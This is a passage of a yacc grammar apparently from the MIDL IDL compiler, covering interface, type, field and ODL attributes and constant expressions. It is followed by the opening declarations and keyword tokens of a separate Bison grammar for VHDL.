ParseError( INVALID_OSF_ATTRIBUTE, "[object]" );
$$ = new battr( ATTR_OBJECT );
}
| KWVERSION '('
{
LexContext = LEX_VERSION;
/* LexContext is reset by lexer */
}
VERSIONTOKEN ')'
{
$$ = (new node_version( $4 ));
}
| KWDEFAULTPOINTER '(' PtrAttr ')'
{
$$ = $3;
}
| KWMS_CONF_STRUCT
{
$$ = new battr( ATTR_MS_CONF_STRUCT );
}
| AcfInterfaceAttribute
{
if( !pCommand->IsSwitchDefined( SWITCH_APP_CONFIG ) )
{
ParseError( ACF_IN_IDL_NEEDS_APP_CONFIG,
($1)->GetNodeNameString() );
}
$$ = $1;
}
| /* empty attribute */
{
$$ = NULL;
}
;
Guid:
UUIDTOKEN
{
$$ = (new node_guid( $1 ));
}
;
AsyncGuid:
UUIDTOKEN
{
$$ = (new node_guid( $1, ATTR_ASYNCUUID ));
}
;
EndPtSpecs:
EndPtSpec
{
$$ = new node_endpoint( $1 );
}
| EndPtSpecs ',' EndPtSpec
{
$$ = $1;
( (node_endpoint *) $$)->SetEndPointString( $3 );
}
;
EndPtSpec:
STRING
;
AcfInterfaceAttribute:
KWIMPLICITHANDLE '(' AcfImpHdlTypeSpec IDENTIFIER ')'
{
$$ = (new node_implicit( $3, new node_id_fe($4) ));
}
| KWAUTOHANDLE
{
$$ = (new acf_attr( ATTR_AUTO ));
}
;
AcfImpHdlTypeSpec:
KWHANDLET
{
GetBaseTypeNode( &($$), SIGN_UNDEF, SIZE_UNDEF, TYPE_HANDLE_T, 0 );
}
| IDENTIFIER
{
node_forward * pFwd;
SymKey SKey( $1, NAME_DEF );
pFwd = new node_forward( SKey, pCurSymTbl );
pFwd->SetSymName( $1 );
pFwd->SetAttribute( ATTR_HANDLE );
$$ = pFwd;
//
// keep a track of this node to ensure it is not used as a
// context handle.
//
if( ImportLevel == 0 )
{
pBaseImplicitHandle = $$;
}
}
| TypeName
;
TypeAttribute:
UnimplementedTypeAttribute
{
$$ = NULL;
}
| KWHANDLE
{
$$ = new battr( ATTR_HANDLE );
}
| KWSTRING
{
$$ = (new battr( ATTR_STRING ));
}
| KWBSTRING
{
$$ = (new battr( ATTR_BSTRING ));
}
| KWCONTEXTHANDLE
{
$$ = (new battr( ATTR_CONTEXT ));
}
| KWSWITCHTYPE '(' SwitchTypeSpec ')'
{
$$ = (new node_switch_type( $3 ));
}
| KWTRANSMITAS '(' SimpleTypeSpec ')'
{
$$ = (new node_transmit( $3 ));
}
| KWWIREMARSHAL '(' SimpleTypeSpec ')'
{
$$ = (new node_wire_marshal( $3 ));
}
| KWCALLAS '(' AcfCallType ')'
{
$$ = $3;
}
| KWMSUNION
{
$$ = new battr( ATTR_MS_UNION );
}
| KWV1ENUM
{
$$ = new battr( ATTR_V1_ENUM );
}
;
AcfCallType:
IDENTIFIER
{
SymKey SKey( $1, NAME_PROC );
node_proc * pProc = (node_proc *)
pInterfaceInfoDict->GetInterfaceProcTable()->SymSearch( SKey );
$$ = new node_call_as( $1, pProc );
}
;
UnimplementedTypeAttribute:
KWALIGN '(' IntSize ')'
{
ParseError(IGNORE_UNIMPLEMENTED_ATTRIBUTE, "[align]");
}
| KWUNALIGNED
{
ParseError(IGNORE_UNIMPLEMENTED_ATTRIBUTE, "[unaligned]");
}
| KWV1ARRAY
{
ParseError(IGNORE_UNIMPLEMENTED_ATTRIBUTE, "[v1_array]");
}
| KWV1STRING
{
ParseError(IGNORE_UNIMPLEMENTED_ATTRIBUTE, "[v1_string]");
}
| KWV1STRUCT
{
ParseError(IGNORE_UNIMPLEMENTED_ATTRIBUTE, "[v1_struct]");
}
;
PtrAttr:
KWREF
{
$$ = new node_ptr_attr( PTR_REF );
}
| KWUNIQUE
{
$$ = new node_ptr_attr( PTR_UNIQUE );
}
| KWPTR
{
$$ = new node_ptr_attr( PTR_FULL );
}
| KWIGNORE
{
$$ = new battr( ATTR_IGNORE );
}
;
SwitchTypeSpec:
IntSpec
{
if( $1.BaseType == TYPE_UNDEF )
$1.BaseType = TYPE_INT;
if( $1.TypeSign == SIGN_UNDEF )
$1.TypeSign = SIGN_SIGNED;
GetBaseTypeNode( &($$), $1.TypeSign, $1.TypeSize, $1.BaseType, $1.TypeAttrib );
}
| CharSpecs
{
GetBaseTypeNode( &($$), $1.TypeSign, SIZE_CHAR, TYPE_INT, 0 );
}
| KWBYTE
{
GetBaseTypeNode( &($$), SIGN_UNDEF, SIZE_UNDEF, TYPE_BYTE, 0 );
}
| KWBOOLEAN
{
GetBaseTypeNode( &($$), SIGN_UNDEF, SIZE_UNDEF, TYPE_BOOLEAN, 0 );
}
| KWENUM Tag
{
SymKey SKey( $2, NAME_ENUM );
if( ! ($$ = pBaseSymTbl->SymSearch( SKey ) ) )
{
ParseError( UNDEFINED_SYMBOL, $2 );
$$ = new node_error;
}
}
| TypeName /* TYPENAME */
;
FieldAttribute:
KWFIRSTIS '(' AttrVarList ')'
{
$$ = (GenerateFieldAttribute( ATTR_FIRST, $3 ));
}
| KWLASTIS '(' AttrVarList ')'
{
$$ = (GenerateFieldAttribute( ATTR_LAST, $3 ));
}
| KWLENGTHIS '(' AttrVarList ')'
{
$$ = (GenerateFieldAttribute( ATTR_LENGTH, $3 ));
}
| KWMINIS '(' AttrVarList ')'
{
$$ = (GenerateFieldAttribute( ATTR_MIN, $3 ));
}
| KWMAXIS '(' AttrVarList ')'
{
$$ = (GenerateFieldAttribute( ATTR_MAX, $3 ));
}
| KWSIZEIS '(' AttrVarList ')'
{
$$ = (GenerateFieldAttribute( ATTR_SIZE, $3 ));
}
| KWRANGE '(' ConstantExpr ',' ConstantExpr ')'
{
$$.MakeAttrList( new node_range_attr( $3, $5 ) );
}
| KWSWITCHIS '(' AttrVar ')'
{
$$.MakeAttrList( new node_switch_is( $3 ));
}
| KWIIDIS '(' AttrVar ')'
{
ParseError( INVALID_OSF_ATTRIBUTE, "[iid_is()]" );
$$.MakeAttrList( new size_attr( $3, ATTR_IID_IS ));
}
| KWID '(' ConstantExpr ')'
{
$$.MakeAttrList( new node_constant_attr( $3, ATTR_ID));
}
| KWHC '(' ConstantExpr ')'
{
$$.MakeAttrList( new node_constant_attr( $3, ATTR_HELPCONTEXT ));
}
| KWHSC '(' ConstantExpr ')'
{
if (!FNewTypeLib())
{
ParseError( INVALID_NEWTLB_ATTRIBUTE, "[helpstringcontext()]");
}
$$.MakeAttrList( new node_constant_attr( $3, ATTR_HELPSTRINGCONTEXT ));
}
| KWLCID '(' ConstantExpr ')'
{
$$.MakeAttrList( new node_constant_attr( $3, ATTR_LCID ));
// ignore [lcid()] from imported files
if ( ImportLevel == 0 )
{
CharacterSet::DBCS_ERRORS err = CurrentCharSet.SetDbcsLeadByteTable($3->GetValue());
if (err == CharacterSet::dbcs_LCIDConflict)
{
ParseError( CONFLICTING_LCID,
0);
}
else if (err == CharacterSet::dbcs_BadLCID)
{
ParseError( INVALID_LOCALE_ID,
0);
}
}
}
| KWFUNCDESCATTR '(' ConstantExpr ')'
{
$$.MakeAttrList( new node_constant_attr( $3, ATTR_FUNCDESCATTR ));
}
| KWIDLDESCATTR '(' ConstantExpr ')'
{
$$.MakeAttrList( new node_constant_attr( $3, ATTR_IDLDESCATTR ));
}
| KWTYPEDESCATTR '(' ConstantExpr ')'
{
$$.MakeAttrList( new node_constant_attr( $3, ATTR_TYPEDESCATTR ));
}
| KWVARDESCATTR '(' ConstantExpr ')'
{
$$.MakeAttrList( new node_constant_attr( $3, ATTR_VARDESCATTR ));
}
| KWDLLNAME '(' STRING ')'
{
$$.MakeAttrList( new node_text_attr( $3, ATTR_DLLNAME ));
}
| KWHELPSTR '(' STRING ')'
{
TranslateEscapeSequences($3);
$$.MakeAttrList( new node_text_attr( $3, ATTR_HELPSTRING ));
}
| KWHELPFILE '(' STRING ')'
{
TranslateEscapeSequences($3);
$$.MakeAttrList( new node_text_attr( $3, ATTR_HELPFILE ));
}
| KWHELPSTRINGDLL '(' STRING ')'
{
TranslateEscapeSequences($3);
$$.MakeAttrList( new node_text_attr( $3, ATTR_HELPSTRINGDLL ));
}
| KWENTRY '(' STRING ')'
{
$$.MakeAttrList( new node_entry_attr( $3 ));
}
| KWENTRY '(' NUMERICCONSTANT ')'
{
$$.MakeAttrList( new node_entry_attr( (long) $3.Val ));
}
| KWENTRY '(' HEXCONSTANT ')'
{
$$.MakeAttrList( new node_entry_attr( (long) $3.Val ));
}
| KWENTRY '(' OCTALCONSTANT ')'
{
$$.MakeAttrList( new node_entry_attr( (long) $3.Val ));
}
| KWDEFAULTVALUE '(' ConstantExpr ')'
{
if (!FNewTypeLib())
{
ParseError( INVALID_NEWTLB_ATTRIBUTE, "[defaultvalue()]");
}
$$.MakeAttrList( new node_constant_attr( $3, ATTR_DEFAULTVALUE ));
}
| KWCUSTOM '('
{
LexContext = LEX_GUID; /* turned off by the lexer */
}
Guid ',' ConstantExpr ')'
{
if (!FNewTypeLib())
{
ParseError( INVALID_NEWTLB_ATTRIBUTE, "[custom()]");
}
$$.MakeAttrList( new node_custom_attr( (node_guid *)$4, $6 ));
}
;
AttrVarList:
AttrVarList ',' AttrVar
{
$$->SetPeer( $3 );
}
| AttrVar
{
$$ = new expr_list;
$$->SetPeer( $1 );
}
;
AttrVar:
VariableExpr
| /* empty */
{
$$ = NULL;
}
;
DirectionalAttribute:
KWIN OptShape
{
$$ = new battr ( ATTR_IN );
/*****************
if( $2 )
$$.Merge( ATTRLIST Shape_Attr($2) );
******************/
}
| KWOUT OptShape
{
$$ = new battr ( ATTR_OUT );
/*****************
if( $2 )
$$.Merge( ATTRLIST Shape_Attr($2) );
******************/
}
| KWPARTIALIGNORE
{
if ( pCommand->GetNdrVersionControl().TargetIsLessThanNT51() )
ParseError( INVALID_FEATURE_FOR_TARGET, "[partial_ignore]");
$$ = new battr ( ATTR_PARTIAL_IGNORE );
}
;
OperationAttribute:
KWCALLBACK
{
$$ = (new battr( ATTR_CALLBACK ));
}
| KWIDEMPOTENT
{
$$ = (new battr( ATTR_IDEMPOTENT ));
}
| KWBROADCAST
{
$$ = (new battr( ATTR_BROADCAST ));
}
| KWMAYBE
{
$$ = (new battr( ATTR_MAYBE ));
}
| KWASYNC
{
if ( pCommand->GetNdrVersionControl().TargetIsLessThanNT50() )
ParseError( INVALID_FEATURE_FOR_TARGET, "[async]");
$$ = (new battr( ATTR_ASYNC ));
}
| KWMESSAGE
{
if ( pCommand->GetNdrVersionControl().TargetIsLessThanNT50() )
ParseError( INVALID_FEATURE_FOR_TARGET, "[message]");
$$ = (new battr( ATTR_MESSAGE ));
}
| KWINPUTSYNC
{
$$ = (new battr( ATTR_INPUTSYNC ));
}
;
OdlAttribute:
KWHIDDEN
{
$$ = (new battr( ATTR_HIDDEN ));
}
| KWPROPGET
{
$$ = (new node_member_attr( MATTR_PROPGET ));
}
| KWPROPPUT
{
$$ = (new node_member_attr( MATTR_PROPPUT ));
}
| KWPROPPUTREF
{
$$ = (new node_member_attr( MATTR_PROPPUTREF ));
}
| KWOPTIONAL
{
$$ = (new node_member_attr( MATTR_OPTIONAL ));
}
| KWVARARG
{
$$ = (new node_member_attr( MATTR_VARARG ));
}
| KWRESTRICTED
{
$$ = (new node_member_attr( MATTR_RESTRICTED ));
}
| KWREADONLY
{
$$ = (new node_member_attr( MATTR_READONLY ));
}
| KWSOURCE
{
$$ = (new node_member_attr( MATTR_SOURCE ));
}
| KWDEFAULTVTABLE
{
if (!FNewTypeLib())
{
ParseError( INVALID_NEWTLB_ATTRIBUTE, "[defaultvtable]");
}
$$ = (new node_member_attr( MATTR_DEFAULTVTABLE ));
}
| KWIMMEDIATEBIND
{
if (!FNewTypeLib())
{
ParseError( INVALID_NEWTLB_ATTRIBUTE, "[immediatebind]");
}
$$ = (new node_member_attr( MATTR_IMMEDIATEBIND ));
}
| KWREPLACEABLE
{
if (!FNewTypeLib())
{
ParseError( INVALID_NEWTLB_ATTRIBUTE, "[replaceable]");
}
$$ = (new node_member_attr( MATTR_REPLACEABLE ));
}
| KWUSESGETLASTERROR
{
$$ = (new node_member_attr( MATTR_USESGETLASTERROR ));
}
| KWBINDABLE
{
$$ = (new node_member_attr( MATTR_BINDABLE ));
}
| KWREQUESTEDIT
{
$$ = (new node_member_attr( MATTR_REQUESTEDIT ));
}
| KWDISPLAYBIND
{
$$ = (new node_member_attr( MATTR_DISPLAYBIND ));
}
| KWDEFAULTBIND
{
$$ = (new node_member_attr( MATTR_DEFAULTBIND ));
}
| KWPREDECLID
{
$$ = (new node_member_attr( MATTR_PREDECLID ));
}
| KWRETVAL
{
$$ = (new node_member_attr( MATTR_RETVAL ));
}
| KWAPPOBJECT
{
$$ = (new node_type_attr( TATTR_APPOBJECT ));
}
| KWPUBLIC
{
$$ = (new node_type_attr( TATTR_PUBLIC ));
}
| KWODL
{
$$ = NULL;
}
| KWLICENSED
{
$$ = (new node_type_attr( TATTR_LICENSED ));
}
| KWCONTROL
{
$$ = (new node_type_attr( TATTR_CONTROL ));
}
| KWDUAL
{
$$ = (new node_type_attr( TATTR_DUAL ));
}
| KWPROXY
{
$$ = (new node_type_attr( TATTR_PROXY ));
}
| KWNONEXTENSIBLE
{
$$ = (new node_type_attr( TATTR_NONEXTENSIBLE ));
}
| KWOLEAUTOMATION
{
$$ = (new node_type_attr( TATTR_OLEAUTOMATION ));
}
| KWLCID
{
$$ = (new battr( ATTR_FLCID ));
}
| KWNONCREATABLE
{
if (!FNewTypeLib())
{
ParseError( INVALID_NEWTLB_ATTRIBUTE, "[noncreatable]");
}
$$ = (new node_type_attr( TATTR_NONCREATABLE ));
}
| KWAGGREGATABLE
{
if (!FNewTypeLib())
{
ParseError( INVALID_NEWTLB_ATTRIBUTE, "[aggregatable]");
}
$$ = (new node_type_attr( TATTR_AGGREGATABLE ));
}
| KWUIDEFAULT
{
if (!FNewTypeLib())
{
ParseError( INVALID_NEWTLB_ATTRIBUTE, "[uidefault]");
}
$$ = (new node_member_attr( MATTR_UIDEFAULT ));
}
| KWNONBROWSABLE
{
if (!FNewTypeLib())
{
ParseError( INVALID_NEWTLB_ATTRIBUTE, "[nonbrowsable]");
}
$$ = (new node_member_attr( MATTR_NONBROWSABLE ));
}
| KWDEFAULTCOLLELEM
{
if (!FNewTypeLib())
{
ParseError( INVALID_NEWTLB_ATTRIBUTE, "[defaultcollem]");
}
$$ = (new node_member_attr( MATTR_DEFAULTCOLLELEM ));
}
;
OptShape:
'(' KWSHAPE ')'
{
ParseError(IGNORE_UNIMPLEMENTED_ATTRIBUTE, "[shape]");
$$ = ATTR_NONE;
}
| /* Empty */
{
$$ = ATTR_NONE;
}
;
/*************** DANGER: EXPRESSIONS FOLLOW: ***************/
Initializer:
AssignmentExpr
{
$$ = $1;
#ifdef gajdebug3
printf("\t...init list has constant=%d, from %d\n",
$$->IsConstant(),$1->IsConstant() );
#endif
}
| '{' InitializerList OptionalComma '}'
{
ParseError( COMPOUND_INITS_NOT_SUPPORTED, (char *)0 );
$$ = NULL;
// $$ = new expr_init_list( (expr_node *)NULL );
// $$->LinkChild( $2 );
}
/**
** known bug : we need to figure out a way to simulate this hanging list
** maybe by creating a special expr_list node, such that it meets
** all semantic requirements also
**/
;
OptionalComma:
','
{
}
| /** Empty **/
{
}
;
InitializerList:
Initializer
{
// $$ = $1;
}
| InitializerList ',' Initializer
{
// $$->LinkSibling( $3 );
}
;
/***
*** VibhasC:WHERE IS THE production expr ',' AssignmentExpr valid ?
***/
Expr:
AssignmentExpr
| Expr ',' AssignmentExpr
{
$$ = $3;
}
;
VariableExpr:
ConditionalExpr
;
ConstantExpr:
FConstantExpr
| ConditionalExpr
{
/**
** The expression must be a constant, if not report error
**/
#ifdef gajdebug3
printf("constant expr is: %d\n",$1->IsConstant());
#endif
if( ! $1->IsConstant() )
ParseError( EXPR_NOT_CONSTANT, (char *)NULL );
$$ = $1;
}
;
AssignmentExpr:
ConditionalExpr
| UnaryExpr AssignOps AssignmentExpr
{
/**
** we do not permit assignment in expressions
**/
ParseError( SYNTAX_ERROR, (char *)NULL );
$$ = new expr_error;
}
;
ConditionalExpr:
LogicalOrExpr
{
$$ = $1;
#if 0
printf("\n************** expression dump start ***************\n");
BufferManager * pOutput = new BufferManager( 10 );
$$->PrintExpr( (BufferManager *)NULL, (BufferManager *)NULL, pOutput );
pOutput->Print( stdout );
printf("\n****************************************************\n");
#endif // 0
}
| LogicalOrExpr '?' Expr ':' ConditionalExpr
{
/**
** This is a ternary operator.
**/
$$ = new expr_ternary( OP_QM, $1, $3, $5 );
}
;
LogicalOrExpr:
LogicalAndExpr
| LogicalOrExpr OROR LogicalAndExpr
{
$$ = new expr_b_logical( OP_LOGICAL_OR, $1, $3 );
}
;
LogicalAndExpr:
InclusiveOrExpr
| LogicalAndExpr ANDAND InclusiveOrExpr
{
$$ = new expr_b_logical( OP_LOGICAL_AND, $1, $3 );
}
;
InclusiveOrExpr:
ExclusiveOrExpr
| InclusiveOrExpr '|' ExclusiveOrExpr
{
$$ = new expr_bitwise( OP_OR, $1, $3 );
}
;
ExclusiveOrExpr:
AndExpr
| ExclusiveOrExpr '^' AndExpr
{
$$ = new expr_bitwise( OP_XOR, $1, $3 );
}
;
AndExpr:
EqualityExpr
| AndExpr '&' EqualityExpr
{
$$ = new expr_bitwise( OP_AND, $1, $3 );
}
;
EqualityExpr:
RelationalExpr
| EqualityExpr EQUALS RelationalExpr
{
$$ = new expr_relational( OP_EQUAL, $1, $3 );
}
| EqualityExpr NOTEQ RelationalExpr
{
$$ = new expr_relational( OP_NOT_EQUAL, $1, $3 );
}
;
RelationalExpr:
ShiftExpr
| RelationalExpr '<' ShiftExpr
{
$$ = new expr_relational( OP_LESS, $1, $3 );
}
| RelationalExpr '>' ShiftExpr
{
$$ = new expr_relational( OP_GREATER, $1, $3 );
}
| RelationalExpr LTEQ ShiftExpr
{
$$ = new expr_relational( OP_LESS_EQUAL, $1, $3 );
}
| RelationalExpr GTEQ ShiftExpr
{
$$ = new expr_relational( OP_GREATER_EQUAL, $1, $3 );
}
;
ShiftExpr:
AdditiveExpr
| ShiftExpr LSHIFT AdditiveExpr
{
$$ = new expr_shift( OP_LEFT_SHIFT, $1, $3 );
}
| ShiftExpr RSHIFT AdditiveExpr
{
$$ = new expr_shift( OP_RIGHT_SHIFT, $1, $3 );
}
;
AdditiveExpr:
MultExpr
| AdditiveExpr AddOp MultExpr
{
$$ = new expr_b_arithmetic( $2, $1, $3 );
}
;
MultExpr:
CastExpr
| MultExpr MultOp CastExpr
{
$$ = new expr_b_arithmetic( $2, $1, $3 );
}
;
CastExpr:
UnaryExpr
| '(' DeclarationSpecifiers OptionalDeclarator ')' CastExpr
{
node_skl * pNode = pErrorTypeNode;
if( $2.pNode )
{
if( $3.pHighest )
{
$3.pLowest->SetChild( $2.pNode );
pNode = $3.pHighest;
( (named_node *) $3.pLowest)->GetModifiers().Merge( $2.modifiers );
}
else
pNode = $2.pNode;
}
$$ = new expr_cast( pNode, $5 );
}
;
SizeofOrAlignof:
KWSIZEOF
{ $$ = KWSIZEOF; }
| KWALIGNOF
{ $$ = KWALIGNOF; }
;
UnaryExpr:
PostfixExpr
| UnaryOp CastExpr
{
( (expr_op_unary *) ($$ = $1) )->SetLeft( $2 );
if ( $2 )
( (expr_op_unary *) $$)->SetConstant( $2->IsConstant() );
}
| SizeofOrAlignof '(' DeclarationSpecifiers OptionalDeclarator ')'
{
/**
** The sizeof and alignof constructs looks like a declaration and a possible
** declarator. All we really do, is to contruct the type ( graph )
** and hand it over to the sizeof expression node. If there was an
** error, just construct the size of with an error node
**/
node_skl * pNode = pErrorTypeNode;
node_skl * pLow;
if( $3.pNode )
{
if( $4.pHighest )
{
pNode = $4.pHighest;
pLow = $4.pLowest;
pLow->SetChild( $3.pNode );
pLow->GetModifiers().Merge( $3.modifiers );
}
else
{
pNode = $3.pNode;
}
}
switch( $1 )
{
case KWALIGNOF:
$$ = new expr_alignof( pNode );
break;
case KWSIZEOF:
$$ = new expr_sizeof( pNode );
break;
default:
MIDL_ASSERT(0);
break;
}
}
| SizeofOrAlignof UnaryExpr
{
switch( $1 )
{
case KWALIGNOF:
$$ = new expr_alignof( $2 );
break;
case KWSIZEOF:
$$ = new expr_sizeof( $2 );
break;
default:
MIDL_ASSERT(0);
break;
}
}
;
PostfixExpr:
PrimaryExpr
| PostfixExpr '[' Expr ']'
{
$$ = new expr_index( $1, $3 );
}
| PostfixExpr '(' ArgExprList ')'
{
/**
** not implemented
**/
ParseError( EXPR_NOT_IMPLEMENTED, (char *)NULL );
$$ = new expr_error;
}
| PostfixExpr POINTSTO IDENTIFIER
{
expr_variable * pIDExpr = new expr_variable( $3 );
$$ = new expr_pointsto( $1, pIDExpr );
}
| PostfixExpr '.' IDENTIFIER
{
expr_variable * pIDExpr = new expr_variable( $3 );
$$ = new expr_dot( $1, pIDExpr );
}
;
PrimaryExpr:
IDENTIFIER
{
// true if the identifier represents a constant
BOOL ConstVar = FALSE;
named_node * pNode = NULL;
SymKey SKey( $1, NAME_MEMBER );
pNode = pCurSymTbl->SymSearch( SKey );
// look for a global ID matching the id
if ( ! pNode )
{
SymKey SKey2( $1, NAME_ID );
pNode = pBaseSymTbl->SymSearch( SKey2 );
ConstVar = (pNode) ? ((node_id_fe *) pNode)->IsConstant() : FALSE;
}
// look for a global enum label matching the id
if ( !pNode )
{
SymKey SKey2( $1, NAME_LABEL );
pNode = pBaseSymTbl->SymSearch( SKey2 );
ConstVar = (pNode != NULL);
}
if ( !pNode ) pNode = new node_forward( SKey, pCurSymTbl );
if (ConstVar)
{
$$ = new expr_named_constant( $1, pNode );
}
else
{
$$ = new expr_variable( $1, pNode );
}
}
| FLOATCONSTANT
{
$$ = new expr_constant( $1.fVal, VALUE_TYPE_FLOAT );
$$->SetFloatExpr();
}
| DOUBLECONSTANT
{
$$ = new expr_constant( $1.dVal, VALUE_TYPE_DOUBLE );
$$->SetFloatExpr();
}
| NUMERICCONSTANT
{
$$ = new expr_constant( (long) $1.Val, VALUE_TYPE_NUMERIC );
}
| NUMERICUCONSTANT
{
$$ = new expr_constant( (long) $1.Val, VALUE_TYPE_NUMERIC_U);
node_skl * pType;
GetBaseTypeNode( &pType, SIGN_UNSIGNED,SIZE_UNDEF,TYPE_INT, 0 );
$$->SetType( pType );
}
| NUMERICLONGCONSTANT
{
$$ = new expr_constant( (long) $1.Val, VALUE_TYPE_NUMERIC_LONG);
node_skl * pType;
GetBaseTypeNode( &pType, SIGN_SIGNED,SIZE_LONG,TYPE_INT, 0 );
$$->SetType( pType );
}
| NUMERICULONGCONSTANT
{
$$ = new expr_constant( (long) $1.Val, VALUE_TYPE_NUMERIC_ULONG);
node_skl * pType;
GetBaseTypeNode( &pType, SIGN_UNSIGNED,SIZE_LONG,TYPE_INT, 0 );
$$->SetType( pType );
}
| HEXCONSTANT
{
$$ = new expr_constant( (long) $1.Val, VALUE_TYPE_HEX );
}
| HEXUCONSTANT
{
$$ = new expr_constant( (long) $1.Val, VALUE_TYPE_HEX_U);
node_skl * pType;
GetBaseTypeNode( &pType, SIGN_UNSIGNED,SIZE_UNDEF,TYPE_INT, 0 );
$$->SetType( pType );
}
| HEXLONGCONSTANT
{
$$ = new expr_constant( (long) $1.Val, VALUE_TYPE_HEX_LONG);
node_skl * pType;
GetBaseTypeNode( &pType, SIGN_SIGNED,SIZE_LONG,TYPE_INT, 0 );
$$->SetType( pType );
}
| HEXULONGCONSTANT
{
$$ = new expr_constant( (long) $1.Val, VALUE_TYPE_HEX_ULONG);
node_skl * pType;
GetBaseTypeNode( &pType, SIGN_UNSIGNED,SIZE_LONG,TYPE_INT, 0 );
$$->SetType( pType );
}
| OCTALCONSTANT
{
$$ = new expr_constant( (long) $1.Val, VALUE_TYPE_OCTAL );
}
| OCTALUCONSTANT
{
$$ = new expr_constant( (long) $1.Val, VALUE_TYPE_OCTAL_U);
node_skl * pType;
GetBaseTypeNode( &pType, SIGN_UNSIGNED,SIZE_UNDEF,TYPE_INT, 0 );
$$->SetType( pType );
}
| OCTALLONGCONSTANT
{
$$ = new expr_constant( (long) $1.Val, VALUE_TYPE_OCTAL_LONG);
node_skl * pType;
GetBaseTypeNode( &pType, SIGN_SIGNED,SIZE_LONG,TYPE_INT, 0 );
$$->SetType( pType );
}
| OCTALULONGCONSTANT
{
$$ = new expr_constant( (long) $1.Val, VALUE_TYPE_OCTAL_ULONG);
node_skl * pType;
GetBaseTypeNode( &pType, SIGN_UNSIGNED,SIZE_LONG,TYPE_INT, 0 );
$$->SetType( pType );
}
| TOKENTRUE
{
$$ = new expr_constant( (long)TRUE, VALUE_TYPE_BOOL );
}
| TOKENFALSE
{
$$ = new expr_constant( (long)FALSE, VALUE_TYPE_BOOL );
}
| KWTOKENNULL
{
$$ = new expr_constant( (char *)NULL, VALUE_TYPE_STRING );
}
| STRING
{
$$ = new expr_constant( (char *)$1, VALUE_TYPE_STRING );
}
| WIDECHARACTERSTRING
{
ParseError( WCHAR_STRING_NOT_OSF, (char *)NULL );
$$ = new expr_constant( (wchar_t *)$1, VALUE_TYPE_WSTRING );
}
| CHARACTERCONSTANT
{
$$ = new expr_constant( (long)( ((long)$1.Val) & 0xff ) ,
VALUE_TYPE_CHAR );
}
| WIDECHARACTERCONSTANT
{
$$ = new expr_constant( (long)( ((long)$1.Val ) & 0xffff ),
VALUE_TYPE_WCHAR );
ParseError( WCHAR_CONSTANT_NOT_OSF, (char *)NULL );
}
| '(' Expr ')'
{
$$ = $2;
}
;
UnaryOp:
AddOp
{
$$ = new expr_u_arithmetic( ($1 == OP_PLUS) ?
OP_UNARY_PLUS : OP_UNARY_MINUS,
NULL );
}
| '!'
{
$$ = new expr_u_not( NULL );
}
| '&'
{
$$ = new expr_u_deref( OP_UNARY_AND, NULL );
}
| '*'
{
$$ = new expr_u_deref( OP_UNARY_INDIRECTION, NULL );
}
| '~'
{
$$ = new expr_u_complement( NULL);
}
;
AddOp:
'+'
{
$$ = OP_PLUS;
}
| '-'
{
$$ = OP_MINUS;
}
;
MultOp:
'*'
{
$$ = OP_STAR;
}
| '/'
{
$$ = OP_SLASH;
}
| '%'
{
$$ = OP_MOD;
}
;
ArgExprList:
AssignmentExpr
{
ParseError( EXPR_NOT_IMPLEMENTED, (char *)NULL );
$$ = new expr_error;
}
| ArgExprList ',' AssignmentExpr
{
/* UNIMPLEMENTED YET */
$$ = $1;
}
;
AssignOps:
MULASSIGN
| DIVASSIGN
| MODASSIGN
| ADDASSIGN
| SUBASSIGN
| LEFTASSIGN
| RIGHTASSIGN
| ANDASSIGN
| XORASSIGN
| ORASSIGN
;
FConstantExpr:
FAdditiveExpr
| FConstantExpr AddOp FAdditiveExpr
{
$$ = new expr_b_arithmetic( $2, $1, $3 );
$$->SetFloatExpr();
}
;
FAdditiveExpr:
FMultExpr
| FAdditiveExpr MultOp FMultExpr
{
$$ = new expr_b_arithmetic( $2, $1, $3 );
$$->SetFloatExpr();
}
;
FMultExpr:
FUnaryOp FLOATCONSTANT
{
expr_constant* pExpr = new expr_constant( $2.fVal, VALUE_TYPE_FLOAT );
pExpr->SetFloatExpr();
( (expr_op_unary *) ($$ = $1) )->SetLeft( pExpr );
}
| FUnaryOp DOUBLECONSTANT
{
expr_constant* pExpr = new expr_constant( $2.dVal, VALUE_TYPE_DOUBLE );
pExpr->SetFloatExpr();
( (expr_op_unary *) ($$ = $1) )->SetLeft( pExpr );
}
| FLOATCONSTANT
{
$$ = new expr_constant( $1.fVal, VALUE_TYPE_FLOAT );
$$->SetFloatExpr();
}
| DOUBLECONSTANT
{
$$ = new expr_constant( $1.dVal, VALUE_TYPE_DOUBLE );
$$->SetFloatExpr();
}
;
FUnaryOp:
AddOp
{
$$ = new expr_u_arithmetic( $1 == OP_MINUS ? OP_UNARY_MINUS : OP_UNARY_PLUS, 0 );
$$->SetFloatExpr();
}
;
%%
/***************************************************************************
* utility routines
**************************************************************************/
YYSTATIC VOID FARCODE PASCAL
yyerror(char *szError)
{
// this routine should really never be called now, since I
// modified yypars.c to report errors thru the ParseError
// mechanism
fprintf(stderr, szError);
}
void
NTDBG( char * p )
{
printf("VC_DBG: %s\n", p );
}
|
%skeleton "lalr1.cc" /* -*- C++ -*- */
%defines
%define parser_class_name {vhdl_parser}
%define api.token.constructor
%define api.value.type variant
%define parse.assert
%define api.prefix {yyvhdl};
%code requires
{
#include "NodeFactory.h"
class vhdl_driver;
}
// The parsing context.
%param { vhdl_driver& driver }
%locations
%initial-action
{
// Initialize the initial location.
@$.begin.filename = @$.end.filename = &driver.file;
};
%define parse.trace
%define parse.error verbose
%code
{
#include "vhdl_parser/vhdl_parser_driver.h"
std::shared_ptr<AstNode> current_node;
extern int yylineno;
}
%define api.token.prefix {TOK_}
%token
END 0 "end of file"
//reserved words as defined in 13.9
T_ABS "abs"
T_ACCESS "access"
T_AFTER "after"
T_ALIAS "alias"
T_ALL "all"
T_AND "and"
T_ARCHITECTURE "architecture"
T_ARRAY "array"
T_ASSERT "assert"
T_ATTRIBUTE "attribute"
T_BEGIN "begin"
T_BLOCK "block"
T_BODY "body"
T_BUFFER "buffer"
T_BUS "bus"
T_CASE "case"
T_COMPONENT "component"
T_CONFIGURATION "configuration"
T_CONSTANT "constant"
T_DISCONNECT "disconnect"
T_DOWNTO "downto"
T_ELSE "else"
T_ELSIF "elsif"
T_END "end"
T_ENTITY "entity"
T_EXIT "exit"
T_FILE "file"
T_FOR "for"
T_FUNCTION "function"
T_GENERATE "generate"
T_GENERIC "generic"
T_GROUP "group"
T_GUARDED "guarded"
T_IF "if"
T_IMPURE "impure"
T_IN "in"
T_INERTIAL "inertial"
T_INOUT "inout"
T_IS "is"
T_LABEL "label"
T_LIBRARY "library"
